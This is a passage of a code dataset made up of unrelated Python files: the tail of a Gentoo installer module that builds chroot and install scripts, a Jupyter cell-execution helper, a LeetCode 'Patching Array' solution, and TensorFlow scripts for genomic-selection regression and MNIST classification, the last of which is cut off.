\"fi\\n\"\n buf += \"\\n\"\n buf += \"/bin/umount -l /mnt/gentoo/tmp\\n\"\n buf += \"/bin/umount -l /mnt/gentoo/dev\\n\"\n buf += \"/bin/umount -l /mnt/gentoo/sys\\n\"\n buf += \"/bin/umount -l /mnt/gentoo/proc\\n\"\n buf += \"\\n\"\n installScript = os.path.join(dstDir, \"install.sh\")\n with open(installScript, \"w\") as f:\n f.write(buf)\n FuUtil.shell(\"/bin/chmod 755 \\\"\" + installScript + \"\\\"\")\n\n # generate chroot script\n buf = \"\"\n buf += \"#!/bin/bash\\n\"\n buf += \"\\n\"\n buf += \"/bin/mount -t proc proc /mnt/gentoo/proc\\n\"\n buf += \"/bin/mount --rbind /sys /mnt/gentoo/sys\\n\"\n buf += \"/bin/mount --make-rslave /mnt/gentoo/sys\\n\"\n buf += \"/bin/mount --rbind /dev /mnt/gentoo/dev\\n\"\n buf += \"/bin/mount --make-rslave /mnt/gentoo/dev\\n\"\n buf += \"/bin/mount -t tmpfs tmpfs /mnt/gentoo/tmp\\n\"\n buf += \"\\n\"\n buf += \"/usr/bin/chroot /mnt/gentoo /bin/bash\\n\"\n buf += \"\\n\"\n buf += \"/bin/umount -l /mnt/gentoo/tmp\\n\"\n buf += \"/bin/umount -l /mnt/gentoo/dev\\n\"\n buf += \"/bin/umount -l /mnt/gentoo/sys\\n\"\n buf += \"/bin/umount -l /mnt/gentoo/proc\\n\"\n chrootScript = os.path.join(dstDir, \"chroot.sh\")\n with open(chrootScript, \"w\") as f:\n f.write(buf)\n FuUtil.shell(\"/bin/chmod 755 \\\"\" + chrootScript + \"\\\"\")\n print(\"\")\n\n if self.args.vpn_server_addr is not None:\n self.p.printInfo(\" >> Generating fpemud-vpn configuration init script...\")\n vpnScript = os.path.join(dstDir, \"chroot-create-vpn-cfg.sh\")\n with open(vpnScript, \"w\") as f:\n f.write(self.vpnScriptContent)\n FuUtil.shell(\"/bin/chmod 755 \\\"\" + vpnScript + \"\\\"\")\n print(\"\")\n\n if self.args.non_interactive:\n self.p.printInfo(\" >> Generating autorun script...\")\n autorunScript = os.path.join(dstDir, \"autorun0\")\n with open(autorunScript, \"w\") as f:\n f.write(\"#!/bin/bash\\n\")\n f.write(\"\\n\")\n f.write(\"source install.sh\\n\")\n FuUtil.shell(\"/bin/chmod 755 \\\"\" + autorunScript + \"\\\"\")\n print(\"\")\n\n def _stage3StillThere(self, stage3Filename):\n fn = os.path.basename(stage3Filename)\n m = re.match(\"^.*-([0-9]+)\\\\.tar\\\\.bz2$\", fn)\n if m is None:\n return False\n url = os.path.join(\"releases\", self.arch, \"autobuilds\", m.group(1), fn)\n rc, msg = FuUtil.shell(\"/usr/bin/wget --spider \\\"%s/%s\\\" --quiet\" % (self.mirror, url), \"retcode+stdout\")\n return rc == 0\n\n def _stage3Download(self):\n if self.arch == \"x86\":\n stage3IndexFile = \"releases/x86/autobuilds/latest-stage3-i686.txt\"\n elif self.arch == \"amd64\":\n stage3IndexFile = \"releases/amd64/autobuilds/latest-stage3-amd64.txt\"\n else:\n assert False\n\n urlIndexFile = os.path.join(self.mirror, stage3IndexFile)\n indexContent = FuUtil.shell(\"/usr/bin/curl \\\"%s\\\"\" % (urlIndexFile), \"stdout\").decode(\"utf-8\")\n url = os.path.join(self.mirror, os.path.dirname(stage3IndexFile), self._parseIndexFile(indexContent))\n if url is None:\n raise Exception(\"index file \\\"%s\\\" is invalid\" % (urlIndexFile))\n FuUtil.shell(\"/usr/bin/wget \\\"%s\\\" -P \\\"%s\\\"\" % (url, self.downloadDir))\n return os.path.join(self.downloadDir, os.path.basename(url))\n\n def _portageGetMirror(self):\n if not os.path.exists(self.hostMakeConf):\n return None\n for mr in self._getMakeConfVar(\"GENTOO_MIRRORS\").split():\n rc, msg = FuUtil.shell(\"/usr/bin/wget --spider \\\"%s/releases/README\\\" --quiet\" % (mr), \"retcode+stdout\")\n if rc == 0:\n return mr\n return None\n\n def _getMakeConfVar(self, varName):\n \"\"\"Returns variable value, returns \"\" when not found\n Multiline variable definition is not supported yet\"\"\"\n\n buf = \"\"\n with open(self.hostMakeConf, 'r') as f:\n buf = f.read()\n\n m = re.search(\"^%s=\\\"(.*)\\\"$\" % (varName), buf, re.MULTILINE)\n if m is None:\n return \"\"\n varVal = m.group(1)\n\n while True:\n m = re.search(\"\\${(\\S+)?}\", varVal)\n if m is None:\n break\n varName2 = m.group(1)\n varVal2 = self._getMakeConfVar(varName2)\n if varVal2 is None:\n varVal2 = \"\"\n\n varVal = varVal.replace(m.group(0), varVal2)\n\n return varVal\n\n def _portagePackageInWorldFile(self, pkgAtom, worldFile):\n with open(worldFile, \"r\") as f:\n return pkgAtom in f.read().split(\"\\n\")\n\n def _parseIndexFile(self, buf):\n for line in buf.split(\"\\n\"):\n if line == \"\" or line.startswith(\"#\"):\n continue\n m = re.match(\"^(\\\\S+) +[0-9]+$\", line)\n if m is not None:\n return m.group(1)\n return None\n\n def _makeConfStart(self):\n fn = os.path.join(self.workDir, \"etc\", \"portage\", \"make.conf\")\n\n if os.path.exists(self.hostMakeConf):\n vv = FuUtil.getMakeConfVar(self.hostMakeConf, \"GENTOO_MIRRORS\", raw=True)\n if vv != \"\":\n assert \"${GENTOO_DEFAULT_MIRROR}\" in vv\n FuUtil.setMakeConfVar(fn, \"GENTOO_MIRRORS\", \"ftp://127.0.0.1:%d %s\" % (self.ftpd.port, vv))\n else:\n FuUtil.setMakeConfVar(fn, \"GENTOO_MIRRORS\", \"ftp://127.0.0.1:%d ${GENTOO_DEFAULT_MIRROR}\" % (self.ftpd.port))\n\n vv = FuUtil.getMakeConfVar(self.hostMakeConf, \"KERNEL_MIRRORS\", raw=True)\n if vv != \"\":\n assert \"${KERNEL_DEFAULT_MIRROR}\" in vv\n FuUtil.setMakeConfVar(fn, \"KERNEL_MIRRORS\", \"ftp://127.0.0.1:%d/kcache %s\" % (self.ftpd.port, vv))\n else:\n FuUtil.setMakeConfVar(fn, \"KERNEL_MIRRORS\", \"ftp://127.0.0.1:%d/kcache ${KERNEL_DEFAULT_MIRROR}\" % (self.ftpd.port))\n\n vv = FuUtil.getMakeConfVar(self.hostMakeConf, \"MAKEOPTS\", raw=True)\n if vv != \"\":\n vv2 = \"\"\n m = re.search(\"--jobs(=[0-9]+)?\\\\b\", vv)\n if m is not None:\n vv2 += (\" \" if vv2 != \"\" else \"\") + m.group(0)\n m = re.search(\"--load-average(=[0-9\\\\.]+)?\\\\b\", vv)\n if m is not None:\n vv2 += (\" \" if vv2 != \"\" else \"\") + m.group(0)\n m = re.search(\"-j([0-9]+)?\\\\b\", vv) # for bug 559064 and 592660, we need to add -j and -l, it sucks\n if m is not None:\n vv2 += (\" \" if vv2 != \"\" else \"\") + m.group(0)\n m = re.search(\"-l([0-9]+)?\\\\b\", vv) # for bug 559064 and 592660, we need to add -j and -l, it sucks\n if m is not None:\n vv2 += (\" \" if vv2 != \"\" else \"\") + m.group(0)\n FuUtil.setMakeConfVar(fn, \"MAKEOPTS\", vv2)\n else:\n FuUtil.setMakeConfVar(fn, \"MAKEOPTS\", \"\")\n\n vv = FuUtil.getMakeConfVar(self.hostMakeConf, \"EMERGE_DEFAULT_OPTS\", raw=True)\n if vv != \"\":\n vv2 = \"--autounmask-write --autounmask-keep-masks --quiet-build --backtrack=30\"\n m = re.search(\"--jobs(=[0-9]+)?\\\\b\", vv)\n if m is not None:\n vv2 += \" \" + m.group(0)\n m = re.search(\"--load-average(=[0-9\\\\.]+)?\\\\b\", vv)\n if m is not None:\n vv2 += \" \" + m.group(0)\n FuUtil.setMakeConfVar(fn, \"EMERGE_DEFAULT_OPTS\", vv2)\n else:\n FuUtil.setMakeConfVar(fn, \"EMERGE_DEFAULT_OPTS\", \"--autounmask-write --autounmask-keep-masks --quiet-build --backtrack=30\")\n else:\n FuUtil.setMakeConfVar(fn, \"GENTOO_MIRRORS\", \"ftp://127.0.0.1:%d ${GENTOO_DEFAULT_MIRROR}\" % (self.ftpd.port))\n FuUtil.setMakeConfVar(fn, \"KERNEL_MIRRORS\", \"ftp://127.0.0.1:%d/kcache ${KERNEL_DEFAULT_MIRROR}\" % (self.ftpd.port))\n FuUtil.setMakeConfVar(fn, \"MAKEOPTS\", \"\")\n FuUtil.setMakeConfVar(fn, \"EMERGE_DEFAULT_OPTS\", \"--autounmask-write --autounmask-keep-masks --quiet-build --backtrack=30\")\n\n def _makeConfEnd(self):\n fn = os.path.join(self.workDir, \"etc\", \"portage\", \"make.conf\")\n FuUtil.setMakeConfVar(fn, \"GENTOO_MIRRORS\", \"${GENTOO_DEFAULT_MIRROR}\")\n FuUtil.setMakeConfVar(fn, \"KERNEL_MIRRORS\", \"${KERNEL_DEFAULT_MIRROR}\")\n\n def _dirIsEmpty(self, dirname):\n if not os.path.exists(dirname):\n return True\n ret = os.listdir(dirname)\n if ret == [] or ret == [\".keep\"]:\n return True\n return False\n\n def _clearDir(self, dirname):\n if os.path.exists(dirname):\n for fn in os.listdir(dirname):\n if fn != \".keep\":\n FuUtil.forceDelete(os.path.join(dirname, fn))\n\n def _getArch(self, osType):\n if osType.endswith(\".X86\"):\n return \"x86\"\n if osType.endswith(\".AMD64\"):\n return \"amd64\"\n if osType.endswith(\".HP.EliteBook.820.G2\"):\n return \"amd64\"\n assert False\n\n def _execFpemudVpnServerApiCmd(self, ipaddr, cmd, arg):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n sock.connect((ipaddr, 2220))\n sock.send((cmd + \":\" + arg).encode(\"utf-8\"))\n sock.shutdown(socket.SHUT_WR)\n\n buf = bytes()\n while True:\n buf2 = sock.recv(4096)\n if len(buf2) == 0:\n break\n buf += buf2\n return buf.decode(\"utf-8\")\n finally:\n sock.close()\n\n def _generateWorldFile(self, worldFile):\n lineList = []\n\n # read from source\n lineList += self.__generateWorldFileGetLineListFrom(\"world-base\")\n if self.chassis == \"server\":\n lineList += self.__generateWorldFileGetLineListFrom(\"world-server\")\n elif self.chassis == \"desktop\":\n lineList += self.__generateWorldFileGetLineListFrom(\"world-desktop\")\n lineList += self.__generateWorldFileGetLineListFrom(\"world-devel\")\n elif self.chassis == \"laptop\":\n lineList += self.__generateWorldFileGetLineListFrom(\"world-desktop\")\n lineList += self.__generateWorldFileGetLineListFrom(\"world-devel\")\n lineList += self.__generateWorldFileGetLineListFrom(\"world-laptop\")\n else:\n assert False\n\n # remove empty lines\n lineList = [x for x in lineList if x != \"\"]\n\n # remove comment\n lineList2 = []\n for line in lineList:\n i = line.find(\"#\")\n if i >= 0:\n line = line[0:i].rstrip()\n lineList2.append(line)\n lineList = lineList2\n\n # write to target\n with open(worldFile, \"w\") as f:\n f.write(\"\\n\".join(sorted(lineList)))\n\n def __generateWorldFileGetLineListFrom(self, fn):\n with open(os.path.join(self.filesDir, fn), \"r\") as f:\n return f.read().split(\"\\n\")\n\n def _modifyLoginDefsFile(self, loginDefsFile):\n buf = \"\"\n with open(loginDefsFile, \"r\") as f:\n buf = f.read()\n\n if True:\n m = re.search(\"^SUB_UID_MIN\\\\s+([0-9]+)\", buf, re.M)\n subUidMinStr = m.group(1)\n subUidMin = int(subUidMinStr)\n\n m = re.search(\"^SUB_UID_MAX\\\\s+([0-9]+)\", buf, re.M)\n subUidMax = int(m.group(1))\n\n m = re.search(\"^SUB_UID_COUNT\\\\s+([0-9]+)\", buf, re.M)\n subUidCountStr = m.group(0)\n subUidCount = int(m.group(1))\n\n if (subUidMax - subUidMin) % subUidCount != 0:\n if (subUidMax - subUidMin) % subUidMin != 0:\n raise Exception(\"can not modify login.defs\")\n spaceStrLen = len(subUidCountStr) - len(subUidMinStr) - len(\"SUB_UID_COUNT\")\n newSubUidCountStr = \"SUB_UID_COUNT\" + FuUtil.lengthToSpaceAndTab(len(\"SUB_UID_COUNT\"), spaceStrLen) + subUidMinStr\n buf = buf.replace(subUidCountStr, newSubUidCountStr)\n\n if True:\n m = re.search(\"^SUB_GID_MIN\\\\s+([0-9]+)\", buf, re.M)\n subGidMinStr = m.group(1)\n subGidMin = int(subGidMinStr)\n\n m = re.search(\"^SUB_GID_MAX\\\\s+([0-9]+)\", buf, re.M)\n subGidMax = int(m.group(1))\n\n m = re.search(\"^SUB_GID_COUNT\\\\s+([0-9]+)\", buf, re.M)\n subGidCountStr = m.group(0)\n subGidCount = int(m.group(1))\n\n if (subGidMax - subGidMin) % subGidCount != 0:\n if (subGidMax - subGidMin) % subGidMin != 0:\n raise Exception(\"can not modify login.defs\")\n spaceStrLen = len(subGidCountStr) - len(subGidMinStr) - len(\"SUB_GID_COUNT\")\n newsubGidCountStr = \"SUB_GID_COUNT\" + FuUtil.lengthToSpaceAndTab(len(\"SUB_GID_COUNT\"), spaceStrLen) + subGidMinStr\n buf = buf.replace(subGidCountStr, newsubGidCountStr)\n\n with open(loginDefsFile, \"w\") as f:\n f.write(buf)\n\n\nclass _ChrootRunner:\n\n def __init__(self, workDir):\n self.workDir = workDir\n\n def __enter__(self):\n try:\n FuUtil.shell(\"/bin/cp -L /etc/resolv.conf \\\"%s\\\"\" % (os.path.join(self.workDir, \"etc\")))\n FuUtil.shell(\"/bin/mount -t proc proc \\\"%s\\\"\" % (os.path.join(self.workDir, \"proc\")))\n FuUtil.shell(\"/bin/mount --rbind /sys \\\"%s\\\"\" % (os.path.join(self.workDir, \"sys\")))\n FuUtil.shell(\"/bin/mount --make-rslave \\\"%s\\\"\" % (os.path.join(self.workDir, \"sys\")))\n FuUtil.shell(\"/bin/mount --rbind /dev \\\"%s\\\"\" % (os.path.join(self.workDir, \"dev\")))\n FuUtil.shell(\"/bin/mount --make-rslave \\\"%s\\\"\" % (os.path.join(self.workDir, \"dev\")))\n FuUtil.shell(\"/bin/mount -t tmpfs tmpfs \\\"%s\\\"\" % (os.path.join(self.workDir, \"tmp\")))\n return self\n except:\n self._dispose()\n raise\n\n def __exit__(self, *_):\n self._dispose()\n\n def runCmd(self, envStr, cmdStr, showCmd=True, flags=\"\"):\n # \"CLEAN_DELAY=0 /usr/bin/emerge -C sys-fs/eudev\" -> \"CLEAN_DELAY=0 /usr/bin/chroot /usr/bin/emerge -C sys-fs/eudev\"\n if showCmd:\n if envStr != \"\":\n print(\"Command: %s %s\" % (envStr, cmdStr))\n else:\n print(\"Command: %s\" % (cmdStr))\n return FuUtil.shell(\"%s /usr/bin/chroot \\\"%s\\\" %s\" % (envStr, self.workDir, cmdStr), flags)\n\n def _dispose(self):\n FuUtil.shell(\"/bin/umount -l \\\"%s\\\"\" % (os.path.join(self.workDir, \"tmp\")), \"retcode+stdout\")\n FuUtil.shell(\"/bin/umount -l \\\"%s\\\"\" % (os.path.join(self.workDir, \"dev\")), \"retcode+stdout\")\n FuUtil.shell(\"/bin/umount -l \\\"%s\\\"\" % (os.path.join(self.workDir, \"sys\")), \"retcode+stdout\")\n FuUtil.shell(\"/bin/umount -l \\\"%s\\\"\" % (os.path.join(self.workDir, \"proc\")), \"retcode+stdout\")\n os.remove(os.path.join(self.workDir, \"etc\", \"resolv.conf\"))\n","sub_path":"lib/os_gentoo/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":48849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"396920597","text":"import argparse\nfrom functools import partial\nfrom pathlib import Path\n\nfrom jupyter_ascending.handlers import jupyter_server\nfrom jupyter_ascending.json_requests import ExecuteRequest\n\n\ndef send(file_name: str, line_number: int, *args, **kwargs):\n # Always pass absolute path\n file_name = str(Path(file_name).absolute())\n\n request_obj = partial(ExecuteRequest, file_name=file_name, contents=\"\")\n\n cell_index = -1\n with open(arguments.filename, \"r\") as reader:\n for index, line in enumerate(reader):\n if line.startswith(\"# %%\"):\n print(\"Incing\", line)\n cell_index += 1\n\n # No need to loop through the whole file, just execute when we get there\n if index == int(arguments.linenumber):\n jupyter_server.request_notebook_command(request_obj(cell_index=cell_index))\n\n return\n\n jupyter_server.request_notebook_command(request_obj(cell_index=cell_index))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--filename\", help=\"Filename to send\")\n parser.add_argument(\"--linenumber\", help=\"Line number that the cursor is currently on\")\n\n arguments = parser.parse_args()\n\n send(arguments.filename, arguments.linenumber)\n","sub_path":"jupyter_ascending/requests/execute.py","file_name":"execute.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"492404154","text":"\"\"\"\nPatching Array\nGiven a sorted integer array nums and an integer n, add/patch elements to the array such that any number in the range [1, n] inclusive can be formed by the sum of some elements in the array.\n\nReturn the minimum number of patches required.\n\n\n\nExample 1:\n\nInput: nums = [1,3], n = 6\nOutput: 1\nExplanation:\nCombinations of nums are [1], [3], [1,3], which form possible sums of: 1, 3, 4.\nNow if we add/patch 2 to nums, the combinations are: [1], [2], [3], [1,3], [2,3], [1,2,3].\nPossible sums are 1, 2, 3, 4, 5, 6, which now covers the range [1, 6].\nSo we only need 1 patch.\nExample 2:\n\nInput: nums = [1,5,10], n = 20\nOutput: 2\nExplanation: The two patches can be [2, 4].\nExample 3:\n\nInput: nums = [1,2,2], n = 5\nOutput: 0\n\n\nConstraints:\n\n1 <= nums.length <= 1000\n1 <= nums[i] <= 104\nnums is sorted in ascending order.\n1 <= n <= 231 - 1\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def minPatches(self, nums: List[int], n: int) -> int:\n # Solution 1 - 64 ms\n \"\"\"\n reach, ans, idx = 0, 0, 0\n\n while reach < n:\n if idx < len(nums) and nums[idx] <= reach + 1:\n reach += nums[idx]\n idx += 1\n else:\n ans += 1\n reach = 2 * reach + 1\n\n return ans\n \"\"\"\n # Solution 2 - 48 ms\n miss = 1\n count = 0\n i = 0\n while miss <= n:\n if i < len(nums) and nums[i] <= miss:\n miss += nums[i]\n i += 1\n else:\n miss *= 2\n count += 1\n return count\n\n\n# Main Call\nnums = [1, 5, 10]\nn = 20\nsolution = Solution()\nprint(solution.minPatches(nums, n))\n","sub_path":"src/arrays/minPatches.py","file_name":"minPatches.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"317541092","text":"\"\"\"\nPURPOSE:\nFully connected MLP Neural Network Regression implemented in TensorFlow (TF)\n\nINPUTS:\n REQUIRED:\n -x File with genotype information\n -y File with values you want to predict \n -label Name of column in y with the value you want to predict (i.e. trait of interest)\n -save Name to include in RESULTS file (i.e. what dataset are you running)\n -cv File with CV folds specified\n \n\n OPTIONAL:\n -arc Desired NN architecture as comma separated layer sizes (i.e. 100,50 or 200,200,50)\n -act What activation function to use (sigmoid (default), relu, elu)\n -epochs Number of epochs to train on (default = 1000)\n -lr Learning rate (default = 0.01)\n -beta Regularization parameter (default = 0.01)\n -JobID Which cv fold from the cv file do you want to run?\n\nOUTPUTS:\n -RESULTS Summary of results from the run located in the dir where the script was called.\n Results will be appended to this file as they complete. Use -save to give\n a run a unique identifier. \n\nEXAMPLE ON HPCC:\nLog on to development node with GPUs:\n$ ssh dev-intel16-k80 \nLoad linuxbrew, modules required by TF, & activate the TF python environment\n$ source /opt/software/tensorflow/1.1.0/load_tf\nRun example MLP (files in /mnt/home/azodichr/GitHub/TF-GenomicSelection/):\n$ python TF_MLP_GridSearch.py -x geno.csv -y pheno.csv -label Yld_Env1 -cv CVFs.csv -save wheat -arc 100,50,20\n\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport sys, os\nimport numpy as np\nimport tensorflow as tf\nimport pandas as pd\nfrom datetime import datetime\nimport timeit\n\nstart_time = timeit.default_timer()\ntimestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\n# FUNCTIONS\ndef multilayer_perceptron(x, weights, biases, layer_number, activation_function):\n layer = x\n for l in range(1,layer_number+1):\n weight_name = 'h' + str(l)\n bias_name = 'b' + str(l)\n layer = tf.add(tf.matmul(layer, weights[weight_name]), biases[bias_name])\n if activation_function.lower() == 'sigmoid':\n layer = tf.nn.sigmoid(layer)\n elif activation_function.lower() == 'relu':\n layer = tf.nn.relu(layer)\n elif activation_function.lower() == 'elu':\n layer = tf.nn.elu(layer)\n else:\n print(\"Given activation function is not supported\")\n quit() \n out_layer = tf.matmul(layer, weights['out']) + biases['out']\n\n return out_layer\n\n\n#### Set default values #####\nactivation_function = 'sigmoid'\ntraining_epochs = 1000\narc = 100,50\nlearning_rate = 0.01\nbeta = 0.01 # regularization parameter \nSAVE = 'test'\n\nfor i in range (1,len(sys.argv),2):\n if sys.argv[i] == \"-x\":\n X_file = sys.argv[i+1]\n if sys.argv[i] == \"-y\":\n Y_file = sys.argv[i+1]\n if sys.argv[i] == \"-cv\":\n CVs = sys.argv[i+1]\n if sys.argv[i] == \"-JobID\":\n JobID = int(sys.argv[i+1]) \n if sys.argv[i] == \"-label\":\n LABEL = sys.argv[i+1]\n if sys.argv[i] == \"-save\":\n SAVE = sys.argv[i+1]\n if sys.argv[i] == \"-act\":\n activation_function = sys.argv[i+1] \n if sys.argv[i] == \"-epochs\":\n training_epochs = int(sys.argv[i+1])\n if sys.argv[i] == \"-lr\":\n learning_rate = float(sys.argv[i+1])\n if sys.argv[i] == \"-beta\":\n beta = float(sys.argv[i+1])\n if sys.argv[i] == \"-arc\": # Desired layer sizes comma separated (i.e. 100,50,20)\n arc = sys.argv[i+1]\n\n# Read in the desired architecture\narc = arc.strip().split(',')\narchit = []\nfor a in arc:\n archit.append(int(a))\nlayer_number = len(archit)\n\n# Read in geno and pheno and remove non target phenotypes\nx = pd.read_csv(X_file, sep=',', index_col = 0)\ny = pd.read_csv(Y_file, sep=',', index_col = 0)\ny = y[[LABEL]]\nyhat = np.zeros(shape = y.shape)\n\nfinal_training_error = []\nfinal_testing_error = []\nfinal_accuracy = []\n\ncv_folds = pd.read_csv(CVs, sep=',', index_col=0)\nfor c_fold in range(1,3):\n print('Starting cv set: ' + str(c_fold))\n #cv = cv_folds['cv_' + str(JobID)]\n cv = cv_folds['cv_' + str(c_fold)]\n num_cvs = np.ptp(cv) + 1 # Range of values in cv (PeakToPeak)\n training_error = []\n\n for i in range(1,num_cvs+1):\n print(\"Predicting cv fold %i\" % i)\n X_train = x[cv != i]\n X_test = x[cv == i]\n y_train = y[cv != i]\n y_test = y[cv == i]\n\n n_input = X_train.shape[1]\n n_samples = X_train.shape[0]\n n_classes = y_train.shape[1]\n\n\n # TF Graph Input\n nn_x = tf.placeholder(tf.float32, [None, n_input])\n nn_y = tf.placeholder(tf.float32, [None, n_classes])\n\n\n # Store layers weight & bias (default: mean=0, sd = 1)\n weights = {}\n biases = {}\n weights['h1'] = tf.Variable(tf.random_normal([n_input, archit[0]]))\n biases['b1'] = tf.Variable(tf.random_normal([archit[0]]))\n for l in range(1,layer_number):\n w_name = 'h' + str(l+1)\n b_name = 'b' + str(l+1)\n weights[w_name] = tf.Variable(tf.random_normal([archit[l-1], archit[l]]))\n biases[b_name] = tf.Variable(tf.random_normal([archit[l]]))\n weights['out'] = tf.Variable(tf.random_normal([archit[-1], n_classes]))\n biases['out'] = tf.Variable(tf.random_normal([n_classes]))\n \n\n # Construct model\n pred = multilayer_perceptron(nn_x, weights, biases, layer_number, activation_function)\n\n # Define loss and optimizer\n loss = tf.reduce_mean(tf.square(pred - nn_y)) # Mean squared error\n regularizer = tf.nn.l2_loss(weights['h1']) + tf.nn.l2_loss(weights['h2'])\n loss = tf.reduce_mean(loss + beta * regularizer)\n optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(loss)\n\n\n # Launch the graph\n sess = tf.Session()\n init = tf.global_variables_initializer()\n sess.run(init)\n\n for epoch in range(training_epochs):\n sess.run(optimizer, feed_dict = {nn_x:X_train, nn_y:y_train})\n c = sess.run(loss,feed_dict = {nn_x:X_train, nn_y:y_train})\n\n if (epoch+1) % 250 == 0:\n print(\"Epoch:\", '%04d' % (epoch+1), \"Cost=\", \"{:.9f}\".format(c))\n\n if epoch+1 == training_epochs:\n training_error.append(c)\n print('Final mse for training cv_%i: %.5f' % (i, c))\n # Predict test set and add to yhat output\n y_pred = sess.run(pred, feed_dict={nn_x: X_test})\n yhat[cv == i] = y_pred\n\n\n testing_mse = np.mean((np.array(y)[:,0] - yhat[:,0])**2)\n cor = np.corrcoef(np.array(y)[:,0], yhat[:,0])\n\n stop_time = timeit.default_timer()\n\n final_training_error.append(np.mean(training_error))\n final_testing_error.append(testing_mse)\n final_accuracy.append(cor[0,1])\n\nprint('###################\\nRESULTS\\n###################\\n')\nprint('Training error (MSE +/- stdev): %0.5f (%0.5f)' % (np.mean(final_training_error), np.std(final_training_error)))\nprint('Testing error (MSE +/- stdev): %0.5f (%0.5f)' % (np.mean(final_testing_error), np.std(final_testing_error)))\nprint('Accuracy (correlation coef +/- stdev): %.5f (%0.5f)' % (np.mean(final_accuracy), np.std(final_accuracy)))\nprint('\\nRun time: %s' % str(stop_time - start_time))\n\n\n\nif not os.path.isfile('RESULTS.txt'):\n out2 = open('RESULTS.txt', 'a')\n out2.write('DateTime\\tDFs\\tDFy\\tTrait\\tCV_Fold\\tNumHidLay\\tArchit\\tActFun\\tEpochs\\tLearnRate\\tBeta\\tTrainError\\tTrainErrorSTD\\tTestError\\tTestErrorSTD\\tAccuracy\\tAccuracySTD\\n')\n\nout2 = open('RESULTS.txt', 'a')\nout2.write('%s\\t%s\\t%s\\t%s\\tall\\t%i\\t%s\\t%s\\t%i\\t%0.5f\\t%0.5f\\t%0.5f\\t%0.5f\\t%0.5f\\t%0.5f\\t%0.5f\\t%0.5f\\n' % (\n timestamp, X_file, Y_file, LABEL, layer_number, arc, activation_function, training_epochs, learning_rate, beta,\n np.mean(final_training_error), np.std(final_training_error), np.mean(final_testing_error), \n np.std(final_testing_error), np.mean(final_accuracy), np.std(final_accuracy)))\n","sub_path":"TF_MLP_GridSearch.py","file_name":"TF_MLP_GridSearch.py","file_ext":"py","file_size_in_byte":7964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"473597241","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 2017年12月11日\n@author: Administrator\n'''\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport matplotlib.pyplot as plt\nminst=input_data.read_data_sets('Minst_data',one_hot=True)\nbacth_size=100\nn_bacth=minst.train.num_examples//bacth_size\n\n# 占位\nx=tf.placeholder(tf.float32,[None,784])\ny=tf.placeholder(tf.float32,[None,10])\nkeep_drop=tf.placeholder(tf.float32)\nlr=tf.Variable(0.01,dtype=tf.float32)\n\nlayel_1=1000\nlayel_2=500\nlayel_3=1000\n# 隐藏层神经元数量\n\n# 权重初始化\nw_1=tf.Variable(tf.truncated_normal([784,layel_1]))\nb_1=tf.Variable(tf.zeros([layel_1]))\nprediction_1=tf.nn.tanh(tf.matmul(x,w_1)+b_1)\nL1_dropout=tf.nn.dropout(prediction_1,keep_drop)\n\nw_2=tf.Variable(tf.truncated_normal([layel_1,layel_2]))\nb_2=tf.Variable(tf.zeros([layel_2])+0.1)\nprediction_2=tf.nn.tanh(tf.matmul(L1_dropout,w_2)+b_2)\nL2_dropout=tf.nn.dropout(prediction_2,keep_drop)\n \nw_3=tf.Variable(tf.truncated_normal([layel_2,layel_3]))\nb_3=tf.Variable(tf.zeros([layel_3])+0.1)\nprediction_3=tf.nn.tanh(tf.matmul(L2_dropout,w_3)+b_3)\nL3_dropout=tf.nn.dropout(prediction_3,keep_drop)\n\n# w_4=tf.Variable(tf.truncated_normal([layel_3,10]))\n# b_4=tf.Variable(tf.zeros([10])+0.1)\n# prediction=tf.nn.softmax(tf.matmul(L3_dropout,w_4)+b_4)\n\nw=tf.Variable(tf.truncated_normal([layel_2,10]))\nb=tf.Variable(tf.zeros([10]))\nprediction=tf.nn.softmax(tf.matmul(L2_dropout,w)+b)\n\n# 二次代价函数,最小化loss\n# loss=tf.reduce_mean(tf.square(y-prediction))\n\n# 交叉熵函数\nloss=tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y,logits=prediction))\n\n# train_step=tf.train.GradientDescentOptimizer(0.2).minimize(loss)\n# train_step=tf.train.AdadeltaOptimizer(0.6).minimize(loss)\ntrain_step=tf.train.AdamOptimizer(lr).minimize(loss)\n\n\ncorrect_prediction=tf.equal(tf.argmax(y,1),tf.argmax(prediction,1))\n# argmax(),返回一维张量中最大值所在的位置\n# 结果存放在一个布尔型列表中\n\naccuracy=tf.reduce_mean(tf.cast(correct_prediction,tf.float32))\n# 求准确率\nx_epoch,y_test_list,y_train_list=[],[],[]\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for epoch in range(101):\n sess.run(tf.assign(lr,0.01*(0.99**epoch)))\n for bacth_stpe in range(n_bacth):\n x_data,y_data=minst.train.next_batch(bacth_size)\n sess.run(train_step,feed_dict={x:x_data,y:y_data,keep_drop:0.8})\n# sess.run(train_step1)\n x_test,y_test=minst.test.images,minst.test.labels\n x_train,y_train=minst.train.images,minst.train.labels\n test_acc=sess.run(accuracy,feed_dict={x:x_test,y:y_test,keep_drop:1.0})\n train_acc=sess.run(accuracy,feed_dict={x:x_train,y:y_train,keep_drop:1.0})\n# if epoch%5==0:\n# print('第%s次训练准确率:test:%s,train:%s,lr:%s'%(epoch,test_acc,train_acc,sess.run(lr)))\n x_epoch.append(epoch)\n y_test_list.append(test_acc)\n y_train_list.append(train_acc)\n# prediction_test=sess.run(prediction,feed_dict={x:x_test})\n 